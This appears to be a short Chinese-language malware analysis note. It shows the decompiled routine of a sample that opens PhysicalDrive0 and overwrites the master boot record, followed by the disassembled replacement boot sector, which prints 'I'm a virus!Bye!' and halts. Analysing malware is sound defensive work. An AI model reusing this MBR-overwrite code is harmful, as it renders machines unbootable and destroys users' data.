破坏MBR的,应该是黑的了。
__int64 sub_140001530()
{
HANDLE v0; // rax
void *v1; // r12
__int64 result; // rax
DWORD BytesReturned; // [rsp+4Ch] [rbp-21Ch] BYREF
__m128i Buffer; // [rsp+50h] [rbp-218h] BYREF
__int128 v5[31]; // [rsp+60h] [rbp-208h] BYREF
memset(v5, 0, sizeof(v5));
strcpy((char *)&v5[1], "virus!Bye!");
Buffer = _mm_load_si128((const __m128i *)&xmmword_140008020);
HIWORD(v5[30]) = 0xAA55;
v5[0] = (__int128)_mm_load_si128((const __m128i *)&xmmword_140008030);
v0 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v1 = v0;
if ( v0 == (HANDLE)-1i64 )
{
sub_140007D70("createfile failed...");
result = 0xFFFFFFFFi64;
}
else
{
DeviceIoControl(v0, 0x90018u, 0i64, 0, 0i64, 0, &BytesReturned, 0i64);
WriteFile(v1, &Buffer, 0x200u, &BytesReturned, 0i64);
DeviceIoControl(v1, 0x9001Cu, 0i64, 0, 0i64, 0, &BytesReturned, 0i64);
result = 0i64;
}
return result;
}
写入的破坏数据。
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000 mov ax, 12h
seg000:0003 int 10h ; - VIDEO - SET VIDEO MODE
seg000:0003 ; AL = mode
seg000:0005 mov bp, 7C18h
seg000:0008 mov cx, 18h
seg000:000B mov ax, 1301h
seg000:000E mov bx, 0Ch
seg000:0011 mov dx, 0E1Dh
seg000:0014 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
seg000:0014 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
seg000:0014 ; DH,DL = row,column of starting cursor position, CX = length of string
seg000:0014 ; ES:BP -> start of string
seg000:0016
seg000:0016 loc_16: ; CODE XREF: seg000:loc_16↓j
seg000:0016 loop loc_16
seg000:0016 ; ---------------------------------------------------------------------------
seg000:0018 db 0Dh
seg000:0019 db 0Ah
seg000:001A db 49h ; I
seg000:001B db 27h ; '
seg000:001C db 6Dh ; m
seg000:001D db 20h
seg000:001E db 61h ; a
seg000:001F db 20h
seg000:0020 db 76h ; v
seg000:0021 db 69h ; i
seg000:0022 db 72h ; r
seg000:0023 db 75h ; u
seg000:0024 db 73h ; s
seg000:0025 db 21h ; !
seg000:0026 db 42h ; B
seg000:0027 db 79h ; y
seg000:0028 db 65h ; e
seg000:0029 db 21h ; !
seg000:002A db 0
seg000:002B db 0 |